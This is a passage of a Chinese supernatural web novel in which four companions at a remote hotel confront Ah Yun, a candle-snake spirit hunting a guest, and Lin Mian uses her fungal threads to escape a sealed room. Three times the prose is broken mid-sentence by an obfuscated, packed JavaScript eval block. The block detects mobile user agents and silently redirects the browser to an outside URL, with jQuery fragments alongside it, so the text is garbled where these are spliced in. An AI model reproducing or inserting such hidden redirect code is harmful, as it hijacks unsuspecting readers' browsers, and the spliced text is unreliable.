“行吧。”瞿木见林眠没看出什么异样,秦宁也没出声,才接着往前走。 况衍君的房间就在林眠的对面,他打开门,也没进去检查,直接点燃蜡烛说:“我也进去睡觉了。” “诶,今晚你和秦宁住那一间。”瞿木才不信那个老太太,自己订的酒店,自己还不能挑住哪个房间了? 况衍君回过头,“我觉得这样安排挺合适。” “况且,你们就在我的旁边。” 说完,都不给瞿木说话的机会,就直接把门关上了。 瞿木又一次被气笑了,他就知道,这况衍君绝对和表面不太一样。不过,秦宁今晚也很奇怪啊。 “你怎么一直不说话啊?”瞿木看向秦宁,只见他面色凝重,一只手一直捂着身上的小背包处。 “先回房。”秦宁说。 “哦哦。” 瞿木见秦宁这个架势,也不抱怨了,连忙打开房门,点上蜡烛。 关上门后,秦宁第一句话就是: “这酒店不对劲。” 14. 云泉酒店(二) 瞿木刚把蜡烛放稳在床头柜上,就听到秦宁来了这么一句,吓得他手抖了一下,把蜡烛碰倒了。 幸好他手脚灵活,很快又把蜡烛扶正,只是蜡油滴到了他的身上,疼的他抽了一口气。 “不是,你不早说?”瞿木气冲冲地走到秦宁面前,“我们现在都进来了,要不再出去吧?” “我去叫他们。” 瞿木刚抬脚,就被秦宁拦住了。 “我秦家人,断然不会离开。”秦宁抬头看着天花板,“不管是什么,既然遇到了,就不能让它害人。” 瞿木满脸都是无语。 那谁来考虑一下他的性命? 秦宁说完,便从包里拿出驱魔弓,在屋内探查起来。 瞿木也不敢做别的,只能坐在椅子上,看着秦宁在屋内走来走去,那把驱魔弓在暗黄的灯光下,发出淡淡的红光。 他以前也见过这把驱魔弓,爷爷说是秦家祖传的宝贝,一般情况是不会轻易拿出来的。可秦宁每次都随身携带着,而且这还是瞿木第一次见这驱魔弓会发光。 303房处。 林眠哼着歌,正在收拾东西,她刚刚去卫生间查看了一下,热水器不是用电的,所以有热水可以洗澡。 她便准备拿睡衣出来,去洗澡。 刚走到浴室处,就有人敲了敲门。 林眠只好走到门口,打开门,是一位看着年约二十来岁的女人站在门口处,手上还端着东西,看着是一壶茶和一些饼干之类的东西。 “我是酒店老板的女儿,你叫我阿云就好。”阿云长得很温柔,头发竖起,只有前边留下一缕碎发。 “今天晚上刚好停电了,真是不好意思,店里也没有发电机。”阿云说着,将手上的托盘推了推,笑着说:“这些吃食就算是补偿,是我们云县的特产。” “哦,谢谢。”林眠看到吃的,眼睛都亮了一下,伸出手去接,但对方却闪了一下。 虽然东西林眠还是接到手了,但自己手上又没刺,她躲什么? “那我就先走了,有什么事随时联系我。”阿云说完,就踏着碎步往前走。 林眠将茶水和饼干拿进屋里,没有急着吃,她还是想要先洗澡,坐了一天的车,总觉得身上灰扑扑的。 等她洗完澡出来,觉得浑身都舒适了,才一下子躺在床上,拿起手机看了一下时间,已经九点了。 平时这个时候,大家都没睡觉,外面也是灯火通明的,但这里就像是盖山村一样,九点钟连路灯都不亮了。 林眠打开游戏,上线看了一眼,发现草莓软糖在线,便敲了敲他。 【小蘑菇:你在干嘛?】 【草莓软糖:躺着】 瞿木现在能不躺着么?秦宁在那神经兮兮的到处探查,一言不发。自己也不知道该做什么好,也不敢去洗澡,只能躺在床上。 他和秦宁确定过了,床上没脏东西。 【小蘑菇:最近很少见你上线了】 【草莓软糖:嗯,最近出了点事,可能以后都不一定能上线了】 瞿木打下这行字的时候,心都颤了一下。 他简直就是命途多舛啊。 林眠没太看明白这行字,只以为他是不想玩这游戏了,便觉得有些可惜,又夹杂着一丝丝的难过。 【小蘑菇:等以后事情解决好了,你一定要再来玩】 【草莓软糖:希望吧】 瞿木叹了一口气。说起来他和这个小蘑菇认识的时候,他还觉得对方是个骗子,专门在游戏里男扮女装,骗服装骗吃骗喝。 他还嘲讽了一顿,结果第二天,对方还跑过来和他道歉了,反而把瞿木弄懵了。 之后就一起打打本,上游戏的时候聊上几句。 “这里似妖似鬼,磁场不太对劲。”秦宁突然出声。 瞿木一听,吓得赶紧从床上起来,跑到秦宁身边,紧张兮兮地问:“什么意思?有鬼还是有妖?” “或许都有?” “这么可怕?我就说不要住这里。”瞿木感觉周围更加的冷了,冷的他都想加件衣服。 秦宁看向瞿木,一字一句解释道:“这世上你真的信有鬼?” “没有鬼,那你们这些除妖师、风水师吃什么?”瞿木反驳。他家之前请秦宁看一块地的风水,那可是整整给了一千万的费用。 秦宁沉默了一会,才说:“世人所见的鬼,多是弥留之际的人。” “人死后,会缠绕在横梁之上。怨气越重的鬼,才能在人间待得更久一些,但不会超过七七四十九天。 “大多数人见到的鬼,便是这些怨气重的鬼,怨气虽重,却也无伤人的能力。” 瞿木听了,浑身哆嗦得更厉害了。 “你能不能说点我听得懂的?你这一番话下来,到底是有鬼还是没鬼?”瞿木翻了个白眼,林眠这家伙也天天把世界上没有鬼挂在嘴边。 “结论就是没鬼,但这里有鬼,一只待了超过四十九天的鬼,身上缠着浓重的妖气。”秦宁说着,举起了驱魔弓,在上面凭空画了一道符,符咒在空中显现,随后落为灰烬。 瞿木看不懂这些,问:“这是什么意思?” “查找妖物的藏身之所。” “那找到了吗?” “就在这栋楼里。” “你这和没说有什么区别?我看就是那个老太太。”瞿木直接说了,他第一眼见那个老太太就觉得不对劲。 “不行,我去把林眠和况衍君叫过来。”瞿木说着,就拉着秦宁和自己一起出去。 谁知道刚打开门,就看到一位貌美的女人站在门口处,正笑吟吟地看着他们。 “要出去吗?这里都停电了,出去了也没什么好玩的。”阿云笑着说,“我来给你们送点点心和热茶。” 瞿木看了眼这点心和热茶,下意识看向秦宁。 “多谢。”秦宁点点头,接过托盘。 “我叫阿云,有什么事都可以找我,今晚还是尽早睡觉吧,你们会有一个安稳的夜晚。”阿云说完这句话,就离开了。 瞿木咽了口口水,问秦宁:“她是不是人啊?” 秦宁没回答,思索了一会儿说:“我们不清楚这个妖物的底细,还是大家都聚在一起比较好。” 瞿木想想也是,便主动去敲了况衍君和林眠的房门,把两人都叫进自己的房间里。 四个人面对面坐着。 林眠揉了揉眼睛,她都快睡着了,突然被敲门声吵醒,就被瞿木拉到这里来了。 “有什么事吗?你们都不睡觉?”林眠打着哈欠问。 “恐怕只有你睡着了。”况衍君笑着说了一句。 瞿木看了眼况衍君,这人怎么每次跟林眠说话都笑眯眯的?他又看向林眠,见她一副还没睡醒的模样,真不知道她怎么睡得着的? “这里阴风阵阵,你怎么睡得着?”瞿木十分无语地说,他今晚在这里,跟着秦宁,都快被吓死了。 “阴风?你没关窗户吧。”林眠已经缓过来了,“发生什么事了?” 秦宁看着面前这两个异常松弛的人,觉得有些吃惊。这里的磁场十分不对,正常人走进这里,都会感觉到不太舒服,例如瞿木。 “况先生,”秦宁刚开口,就被况衍君打断了。 “你叫我名字就行。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461835|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好,衍君。”秦宁也就直接叫了,“你先前在五华山修行,应该有一些道行,并且也能压制住银木邪性,你不觉得这里有一些奇怪吗?” 况衍君大概明白了,解释说:“我在五华山修行,多是一些修身养性之法,并非学习道术,对这些鬼神邪异之说并不了解。” 秦宁皱了一下眉,转头看向林眠。 “林小姐,你身上有菌丝,和妖物之间想必应该会有一些联系,你没有感觉到一些什么吗?” 林眠想了想,脸上有点痒,伸出手指抓了抓痒,说:“是有一些说不上来的感觉,就像是有人在偷看着你。” “是的。”秦宁点点头,对林眠投去一个赞赏的眼神。 他一走到酒店门口时,就感受到了,黑暗中的注视。 瞿木听着他们说话,特别是秦宁那个遇到知音的表情,不满地说:“这里是我第一个感觉到不对劲的,你们感觉到了,还硬要进来住。” “这里可是什么鬼啊、妖啊之类的。 “秦宁是除妖师也就算了,你,”瞿木看向况衍君,“你看着手无缚鸡之力,我尚且还能和人打打,妖鬼就没办法了,你也不会道术,怎么也要进来?” “还有你,”瞿木扭头看向林眠,林眠是第一个踏进这酒店的人。 “你…你我就不说了。”瞿木收回视线,叹了一口气。 林眠歪着头,瞿木这么生气是为什么?她脑子快速地转动了一下,就想明白了,特地走上前伸出手,拍了拍瞿木的肩膀说:“你不要害怕,有我在呢。” 瞿木唰的一下脸就红了,拍开林眠的手,舌头打结:“谁…谁害怕了?你不要胡说啊。” 林眠揉了揉手,不是怕是什么? “这里虽然不对劲,但没有恶意。”林眠扭头对秦宁说,她以前经常去山里面,偶尔也能感受到这种注视,只要当作没事发生就行。 “对我们没恶意,不代表对别人没恶意。”秦宁说道。 “这酒店里还住了别的客人。” 瞿木也在认真听着,不过对于这一点他很好奇,问:“为什么对我们不感兴趣啊?” 大家齐刷刷看向瞿木。 秦宁忽略这个问题,说:“不知道这只妖物是什么,这里还有鬼气,我想应该是妖和鬼的结合。” “这是什么意思?”林眠不太懂,世界上有鬼这种东西吗? “任何鬼凭借自己的力量都无法在世上待满四十九天,但妖物的生命很漫长,也拥有足够的力量,让所谓的鬼长时间待在世上。”秦宁又解释了一遍。 “这种例子很少见,大多数妖物是自私的,不愿意分享自己的力量,更何况还是一只无足轻重的鬼。” 林眠听懂了,她还是第一次知道这种知识。 “诶,你们这也有点心吃。”林眠头一抬,便看到不远处,桌子上的饼干小点心。 “是那个叫…阿云的送来的。”瞿木想了一下,才想起这个名字,“这女的长得虽然不错,但看着有点瘆得慌。” “你不会吃了吧?” 林眠摇摇头,“本来想吃的,但是我洗完澡后就忘了这件事,还没来得及吃。” 瞿木这才松了一口气,鬼知道这饼干下没下毒。 “我们现在要做什么?”况衍君问秦宁。 “你们在这里待着,我去查清楚这究竟是什么妖物在作怪。”秦宁说完,就拿着弓出去了。 况衍君坐了一会儿,便说:“我要回房间拿个东西,等我一下。” 瞿木看着况衍君离开,忍不住嘟囔:“是真的不怕死啊?有什么东西需要回去拿的?手机都快没电了。” 15. 云泉酒店(三) 林眠是真的犯困,白天都在车上,她在车上睡不好,现在到了酒店,更加没得睡了。她看着精神奕奕的瞿木,问:“你开了一天的车,不困吗?” “困也不敢睡啊。”瞿木说,这里阴风阵阵的,加上秦宁说的那些话,他哪敢睡? “叩叩叩” “叩叩叩” 门外响起了急促的敲门声,一遍又一遍。 林眠连忙起身,想去开门,却被瞿木拉住了。 “不要去,这个敲门声不像是认识的。”瞿木低声说。 “叩叩叩叩叩叩叩叩叩” 门外敲门的声音越来越急躁,速度也越来越快,听得瞿木的心脏也随着敲门声快速跳动,“砰砰砰”。 “啪嗒”一声,门打开了。 况衍君走了进来。 “怎么是你?”瞿木看到是况衍君,心跳才平缓了一些,“你敲门那么急干嘛?而且你不是有房卡吗?” 瞿木话音刚落,才发现况衍君身后还跟着一个人。 林眠看过去,那个人大约三十岁左右的模样,身材有些微胖,长得倒是白白净净,此刻满脸慌张,左顾右望地跟在况衍君身后。 “我刚刚拿了东西,出来发现他在门口敲门,就把他带进来了。”况衍君开口解释道。 “你怎么能随便带人进来啊?万一他...” 瞿木看了眼那个男人,基于最基本的礼貌,他将“不是人”这三个字咽了下去。他现在看这个酒店里的人,都不像是人。 男人进了屋内,看着他们三个人,听到站在他们中间的那个男人说的话后,他才颤颤巍巍的解释:“我姓李,木子李,你们可以叫我二喜。” “我...我...我不知道该怎么说。”李二喜有些崩溃的蹲下身,捂着头,嘴里念念叨叨着:“我今年三十岁了,三十岁了,马上就要死了,我一定会死的。” 声音虽然不大,但屋内很安静,他说的话一字不差地落入大家的耳朵。 林眠扯了扯瞿木,小声说:“他有一些奇怪。” 瞿木也看出来了,只是...看现在这个样子,这个人好像在门外遇到了什么事。 “李二喜,你是不是在门外遇到了什么事?”瞿木问他。 李二喜抬起头,看着瞿木,眼神有一些恍惚,说:“我...我醒来之后,就在这里了。不是我要来这里的,我明明就不在云县。” “这人疯了。”瞿木无奈摊手对林眠说。 林眠也不知道怎么办好,也不能直接把他赶出去。只好上前扶起李二喜,让他坐下,先安抚他的情绪。 …… 酒店的一楼处。 烛火将女人的身体拉的又细又长,随着烛火跳动而左右摇晃着。 密闭的空间里,一道清脆和一道嘶哑的声音交替。 “怎么办?他们会坏事的。”清脆的女声里带着一抹哭腔。 “只要他们明天离开,一切还是照常进行。”声音嘶哑的就像是用指甲划过墙壁的声音。 “可是...他们会这么轻易地离开吗? “还有那个女人,她...太可怕了,我只是靠近她,就感觉到...” 墙上的影子颤抖了一下,正如同女人的声音一样发颤。 “有人来了。” 墙上的影子停止颤抖。 阿云从椅子上起身,端起蜡烛,笑着往外走去。 一楼的前台大厅处,秦宁正在此处站着,目不转睛地盯着从一旁走进来的阿云。 “有事吗?怎么亲自下来了?”阿云出声说,并将前台的蜡烛点亮。 秦宁握紧藏在衣袖里的驱魔弓,感受到驱魔弓的震动,问她:“刚刚那位老太太呢?你的奶奶。” “奶奶年纪大了,睡去了。晚上都是我负责照料店里。”阿云回答的不紧不慢。 “云县只是个小县城,晚上经常断电,你不要想多了,快睡去吧,今晚你一定会睡个好觉的。”阿云笑着对秦宁说。 秦宁垂下眼,袖子底下的驱魔弓震动的厉害,面前这个阿云不是人。 阿云见他不说话,只是站在那儿,走上前轻声问:“怎么了?” 秦宁猛地抬起头来,伸出藏在袖子里的驱魔弓,对着阿云伸了过去,只见面前的阿云化作一道青烟,消失了。 秦宁看着周围,只有烛火在跳动着,根本没有阿云的影子。 被她跑了。 秦宁没有急着去追,而是在前台处查看了一下。刚进入前台的时候,这里就只有一台老旧的台式电脑,而那位老妇人没有登记他们的身份证,而是直接给了房卡。 桌上有一个小本子,上面记录着今晚入住的客人。 只登记了四位客人,秦宁一行人都没登记上。 而这时,烛火被风吹灭了,室内再次陷入一片黑暗。 房间内,林眠正安抚好李二喜,让他喝上一口瞿木带的矿泉水。 “哎,你在怕什么啊?”瞿木原本也很怕,见有人比自己还怕,顿时就有了气势了。他虽然知道这地方不对劲,但目前为止,什么都没发生。 李二喜捧着矿泉水瓶,看向瞿木,嘴唇哆嗦着:“我...有人想要杀我。” “杀人是犯法的呀,你怎么不去警察局?”林眠问。 “我...去不了,我...我都不知道我怎么在这里...我是怎么来的这里?”李二喜说着又抱起了头。 林眠看向瞿木和况衍君,耸耸肩,对方说话奇奇怪怪的,她听不明白。 “叩叩” 门外响起了敲门声。 和上一次急促的敲门声不同,这次只响了一声。 瞿木看了眼林眠,壮着胆子走上去,说:“秦宁?你回来了。” 打开门一看,是阿云。 瞿木看到阿云,吓得连忙往后退了几步。 “阿云?”林眠走上来,见是那个给自己送点心的女生。 瞿木见林眠走上去,扯了一下她,让她别靠那么近。 “是我,你们怎么都在这儿?”阿云歪了一下头,看着里面的人,“那位客人,是301房的,怎么也在这儿?” “走错路了吗?我送他回去。” 大家伙都看向李二喜。 李二喜愣愣地抬起头来,看到阿云的那一刻,他瞳孔放大,大喊了一声:“祖奶奶!” “是喝酒了吗?”阿云捂嘴笑着说,“我都还没结婚,去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461836|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪儿当你的祖奶奶?” 李二喜呼吸加重,嘴里念叨着“祖奶奶”三个字。 林眠看着李二喜,又看向阿云,阿云是李二喜的祖奶奶?可阿云看着比李二喜小多了。 “你到底是什么?” 秦宁的声音突然出现,大家伙侧头看去,只见站在走廊尾处,举起弓。 阿云没有闪躲,只是看着秦宁,轻声说:“莫要急,我没有想要伤害各位的意思,也请你们,” 话说到这里,原本清秀的声音突然变得嘶哑,周围的烛火也变得张牙舞爪了起来,“不要打扰我们。” “我草。”瞿木看着走廊内涌上一股黑气,一点一点逼近走廊处的秦宁。 李二喜已经跪在地上,双手抱着头,整个人都在发抖。 林眠见状,看到还在一旁站着的况衍君,连忙拉上他,往房间里跑去,顺便一把把门关上了。 “关门有用吗?”瞿木问。 “看样子没用。”况衍君指了指地上的张牙舞爪的黑影。 瞿木也看到了,但李二喜还在地上坐着,他连忙拉起李二喜,把他拉到窗边的位置来。 “这是...蛇?”林眠看着地上的黑影,就像是无数条蛇的影子聚集在一起。 “还真是。”瞿木探着脖子看了一眼,一想到那么多蛇聚在一起,更加头皮发麻了,他看林眠站的有点靠近门口处,连忙上前拉过林眠,说:“你站远一些。” “万一被这些黑影碰到,也不知道会怎么样。” “知道啦。”林眠也走到窗边处。 况衍君看着他们两个,漫不经心地收回视线。 瞿木拉着林眠,一直盯着门口处的黑影。 起初,黑影一直往前蔓延,大约到了第二张床处,黑影突然快速地消失了,屋内又恢复了以往的样子。 “消失了。”林眠看了看周围,扯了扯瞿木。 瞿木原本一直紧绷着,见状才放松了一些。 “秦宁把它消灭了?看样子他这个除妖师不是浪得虚名。”瞿木说着,就准备往前走去开门。 林眠隐隐约约感觉哪里不太对劲,也跟上瞿木。 门一打开,走廊就空荡荡的,既不见秦宁,也没见到那个阿云。 “人...不见了?”瞿木吞了一口口水,颤颤巍巍地说。 林眠咬着下唇,这里实在是太诡异了。她脑子里突然闪过一丝奇怪的感觉,她回头看向房间里—— 房间里的两人也不见了。 “啊!”林眠惊呼出声。 “怎么了?”瞿木跟着回过头,一看,两个人大活人不见了。 林眠和瞿木两个人缓慢扭过头,对视,两个人眼里都写满了惊恐。 下一秒,林眠就觉得自己身后有一双黏腻腻的视线,她感觉到有什么会发生,下意识地上前直接抱住瞿木。 瞿木还没反应过来,下一秒他就觉得头晕目眩,直接昏了过去。 “瞿木,瞿木。”林眠拍了拍瞿木,怎么自己还没晕,他就晕了? 林眠仰起头,看了看周围,突然发现天花板在转动,连带着自己整个人都随着地板转动了起来,不知不觉,她已经倒立站在天花板上了。 16. 云泉酒店(四) 林眠抬了抬眼皮,看向不知道该说是头顶、还是脚下的地面,她身上还挂着瞿木,瞿木个子高大,压在她身上重死了。 这种情况该怎么办?林眠脑子快速地转动,但自己只是稍微眨了一下眼,周围就突然变换了一个地方。 她现在稳稳当当坐在一个地方,周围四面都是石墙,没有门。 这妖物是什么本领?这也太厉害了吧。林眠心想,不过瞿木还挂在自己身上。 林眠看了眼趴在自己肩膀上的瞿木,伸出手拍了拍。 “醒醒,瞿木。” 瞿木听到耳边一直有个声音在叫自己,他感觉自己十分的困,十分的想睡觉,可又觉得好像有什么事,他不应该这么睡着。 “瞿木。”林眠见瞿木还不醒,伸手掐都掐不醒。 她灵机一动,抬了抬手,催动瞿木体内的菌丝生长,没一会儿,瞿木的体内就冒出菌丝了。 瞿木睡的好好的,突然又开始了那个熟悉的噩梦,身体里长出菌丝将他紧紧地缠绕起来,这种熟悉的感觉涌上心头。 吓得他立马睁开了眼。 一睁开眼,便对上林眠那双水润润的眼睛。 这距离有些近了。 瞿木愣愣地想着,随后才反应过来,他现在整个人就倚靠在林眠身上。 瞿木连忙站稳,跟林眠拉开距离,抬手一看,发现自己手上有一撮细细的菌丝,他晃了晃手,菌丝也跟着晃了一下。 “啊!” “这怎么回事?”瞿木第一次见这种情况,之前只要自己一醒,菌丝就会消失,身上也只会留下蘑菇。 林眠伸出手指,点了点,菌丝就消失了。 “我刚刚发现一个特别好玩的。”林眠说。 “什么?”瞿木低着头,在检查自己身上有没有长蘑菇,摸了一下,没有,看样子是时间太短,还没来得及长蘑菇。 林眠伸出手,点了点瞿木的手腕,瞿木的手腕处就冒出几缕菌丝。 “我发现,我能控制你身体里的菌丝,就和控制自己身上的一样。”林眠就像是发现了一个超级好玩的事,脸上都洋溢着笑容。 瞿木不觉得这好玩,他反而有点惊悚。自己身上的菌丝他控制不了,但林眠可以,这...自己不就是林眠的玩具吗? “别玩了。”瞿木抓住林眠的手指,看了眼周围。 林眠停了下来,瞿木身上的菌丝也就消退下去了。 “这里是哪里?” “看起来怎么怪怪的,门都没有。”瞿木睡着了,不知道刚刚发生了什么:“我们不是在酒店的三楼走廊处吗?” 林眠耸耸肩,“我眨了一下眼,就在这儿了。” 瞿木不太明白,问:“我睡了多久?” “没多久,到了门口你就晕过去了,然后大概过了两分钟,我们两个就到了这里。”林眠一边解释,一边看瞿木在墙上摸来摸去,问:“你在找什么?” “小说不都是这么写的么?说不定有什么暗道。” “哦。”林眠看了看这墙壁,想了一下说:“可是我们是突然从走廊瞬移到这里的,这根本就不科学。” “都有这些妖啊啥的了,还能讲科学吗?”瞿木头也没回的说,“还不知秦宁他们怎么样了,秦宁好歹是大师啊,家里还是祖传的除妖家族,应该不会出事吧?” 林眠想了一下,说:“我觉得这里应该都是假的。” “如果能直接将我们转移到另一个地方,那为什么不把我们扔到深山老林里?反而在这四四方方的房子里,摆明就是想困住我们。” 瞿木听了,仔细一想,还真是。 “可是我用手锤了锤墙,真的会痛啊。”瞿木说着还试了一下,是有触感的,而且也会疼。 林眠也跟着摸了摸,说:“对方没有想要伤害我们的意图。” “你怎么知道?万一她想让我们在这里窒息而死呢?你看,这里没有窗、没有门。”瞿木觉得林眠太天真了。 “你这不是好好的嘛。”林眠不服气地说,“我就是没有感觉到恶意。” 瞿木也摸累了,坐到一旁,叹着气说:“我怎么这么苦的命啊。” 林眠用眼睛余光瞥了一眼瞿木,抬起头,让菌丝从她的指尖长出,再一点点的朝着墙壁探去。 触碰到墙壁的菌丝,刚开始贴着墙壁,随后竟然一点一点穿过墙壁,延伸到外面去了。 瞿木都看呆了。 林眠闭上眼,她和菌丝的感官是互通的,能看到菌丝看到的地方。 这间小房子外面,有着昏暗的烛火,地上的地毯的颜色和酒店内部是一样的。 “这里出去就是酒店,但门上没有房号,”林眠闭着眼,喃喃说,“不是我们住的三楼。” “啊,有人。”林眠皱了一下眉。 瞿木在旁边什么都看不到,只能干着急,问:“什么人?” “阿云。” 阿云看着走廊处漂浮着的菌丝,低声说:“原来是这样。” 林眠听到了,她没有让菌丝继续前进。 阿云伸出手,摸着一根菌丝,温声说:“你我既然是同类,这件事不要打扰我好吗?明天你们都会安安全全的离开。” “今晚就好好睡一觉。” 阿云说完,弹了一下菌丝。 林眠猛地睁开眼,菌丝都抽了回来。 “怎么了?”瞿木焦急地说。 林眠揉了揉额头,说:“她说她不想害我们,明天她会让我们安全离开。” “不过...” 林眠抿着唇,似乎是在思考。 “不过什么?”瞿木问,这话说到一半,他急啊! “阿云身上的味道变了。”林眠仔细回想刚刚感受到的,“之前见面的时候,她身上没有这个味道。” “什么味道?”瞿木不太懂这些,他也闻不到味道。 林眠抬起眼看天花板,那股味道她是知道的,只是一时之间想不起来了,便对瞿木竖起一只手,让他别打扰自己思考。 瞿木也只好闭上嘴,也不敢有太多的小动作。 “银木邪性。”林眠突然开口说。 “没错,她身上有银木邪性的味道。 “我在况衍君身上闻到过。” 瞿木听了,心头一颤:“你的意思是...况衍君被杀了?” “不是,就是这个银木邪性现在在阿云的身上。”林眠解释说,至于阿云是怎么拿到银木邪性的,她就不知道了。 “不过她说明天会让我们安全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461837|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离开,况衍君应该没事。”林眠安慰瞿木说。 瞿木看着林眠,一字一句说:“问题是,如果这个阿云冲着银木邪性来的呢?我需要银木邪性啊!” “哦哦,不好意思啊,那...明天跟她要回来?”林眠说。 瞿木整个人都有些萎了,“要的回来吗?我们现在出都出不出去。” 关于出去,林眠也没办法,她只能让菌丝去探路,不能让自己这个大活人出去。 “你不要着急,我用菌丝去找一下,看看能不能找到他们。”林眠说着,就用菌丝去外面探查一下。 这次她只用一根菌丝在过道里,主要不仔细看,一般人看不到地上的菌丝。 林眠用菌丝在酒店里游走,都没发现什么异样,也没看到阿云的身影,倒是在前台大厅左侧处发现一个房间。 是刚进酒店时,那个老太太的住所。 林眠的菌丝一进去,便往后退了一些,她仔细看了一眼,这屋内放了三个雕塑,第一眼她还以为是佛像,仔细一看,又不太像。 老太太正在床上睡觉。 林眠连忙退了出来。 瞿木在一旁看着林眠的表情变化,这能视觉听觉共享,实在是太牛逼了,妥妥的金手指啊。 他最开始觉得林眠挺厉害,相处一段时间后,又觉得林眠只是个小姑娘,而且对于玄学的事也是一窍不通。 今日再看,是自己有眼无珠了。 林眠猛地睁开眼睛,把面前的瞿木吓了一跳。 “怎么了?”瞿木一无所知,只能问林眠。 林眠眨眨眼,“我看到秦宁了。” “房子塌了一块。” 林眠刚刚就是菌丝一过去,那里的墙面突然坍塌了,吓得她赶紧退了回来。 “塌了?”瞿木看了看周围,“我什么都没感觉到。” “那秦宁怎么样了?” 林眠回想了一下,“看着不太好?” “我也说不清。” 瞿木也觉得情况不太妙,秦宁也是为了帮自己才来这里的,这要是出事了...他...他好像也活不过两个月。 “我们还是想办法出去吧。”林眠原本打算就在这待一晚上,等明天出去就好了。可刚刚看到那一幕,今晚总感觉会发生点什么事。 “怎么出去?”瞿木拍了拍面前的这堵墙。 林眠也不知道,只能让菌丝去试试。 菌丝缠住正面墙,密密麻麻的聚在一起蠕动着。 瞿木在旁边看着,说:“如果这玩意真的和蘑菇一样,这都是水泥做成的,好像没什么用啊?” 他话音刚落,面前的这堵墙就“嘭”的一声,倒了。 “还真行啊?”瞿木呆愣愣出声。 林眠收回菌丝,懵逼地说:“不是我弄倒的。” 她的菌丝只缠了上去,都还没开始用力。 “那谁弄倒的?” 瞿木刚问出声,就见一个黑色的人影朝自己飞了过来,然后直冲冲地倒在了自己面前。他拍了拍面前的灰,定睛一看, “秦宁!” 林眠已经弯下腰去扶秦宁了。 秦宁挣扎着从地上起来,这个阿云不知道为什么突然变得那么强,和之前完全不一样了。 17. 云泉酒店(五) “你没事吧?”林眠拍了拍秦宁身上的灰,问。 秦宁对林眠摆摆手,站稳后撑起驱魔弓,对林眠和瞿木说:“你们两个去房间里把李二喜带走。” “为什么要妨碍我?”阿云紧紧盯着秦宁,原本清秀的脸庞变得扭曲起来,皮肤底下就像是有什么东西在涌动一样,狰狞又可怕。 林眠看了一眼阿云,吓得她心口咯噔了一下,这简直就像是个妖魔鬼怪,虽然阿云不是人。她现在也顾不得别的了,拉过瞿木就往前跑。 秦宁眉眼坚毅,左手拉弓,驱魔箭上便浮现出一只血红色的弓箭,他一字一句道:“杀人,不可为。” 阿云丝毫不畏惧秦宁的驱魔弓,只是僵硬地将头扭转90度,看向一旁偷偷想进房间的林眠和瞿木,问她:“你也要妨碍我吗?” 林眠被问,只能停下脚步,微微抬起一点头,只见阿云眼神空洞,但确实在看着自己,她脸皮底下就像是有一条虫在里面快速爬行,看的林眠又咯噔了一下。 “你为什么要杀他?他做错了什么?”林眠移开视线,不是很敢看阿云那个样子。从刚刚秦宁说的话里,她大概明白了,阿云的目标是李二喜,也恰好和李二喜说的话对应上了。 阿云张了张嘴,她想说什么,可是身体里有东西在翻涌,她仰起头,喉咙里发出“额额”的声音,身上的皮肤开始脱落,连带着血飘散开后。 在后面的瞿木连忙扯了扯林眠,说:“快点走,她这个状态不太对。” 秦宁见状,拉着的弦也只能松开,朝着阿云射去。 但也正如先前一样,驱魔弓简简单单就被阿云身后的蛇影挡住了,根本近不了阿云的身。 瞿木把林眠拉到秦宁的身后,才敢停下来。 林眠有些没太反应过来,她看着阿云仰着头,身后的蛇影一直在扩散,几乎占据了整条走廊,也像是成千上万条蛇在涌动。 更令人措手不及的是,一条白蛇从她的眼珠里爬出来,缠绕着它的脑袋,盘成一团。 秦宁目光一凝,看到这条白蛇,他确定了,这是烛蛇。 既然知道是烛蛇,那么…秦宁在空中画符,血红色的符咒凝聚在一起,汇聚在弓箭上,拉弓对准阿云。 只是他没把握能射中本体,阿云身旁的蛇影会拦住驱魔箭。 阿云身上的白蛇出来,便扭过头,对着秦宁的方向,蛇影全都冲了过来。 秦宁与之搏斗起来,并对瞿木和林眠说:“这是烛蛇,得把蜡烛吹灭,我给你们掩护,你们快去。” 他早就该想到,进入这酒店之后,到处都有蜡烛,想来就是专门为烛蛇准备的。 瞿木和林眠对视一眼,瞿木快速数了数,“这条走廊有六根蜡烛,我们分开去吹?” “好。”林眠点头,就和瞿木两人左右分开,趁着秦宁打散蛇影,争取将蜡烛吹灭。 但这蛇影实在是太多,加上有蜡烛在,瞿木刚刚吹了一口气,蜡烛没熄灭,他就被蛇影一巴掌拍到一边去了,疼的他差点叫出声来。 林眠倒是动作迅速,成功吹灭了一只蜡烛,正准备前往下一根蜡烛时,蛇影就全部朝她冲了过去。 “小心!”瞿木都顾不得疼了,对着林眠喊。 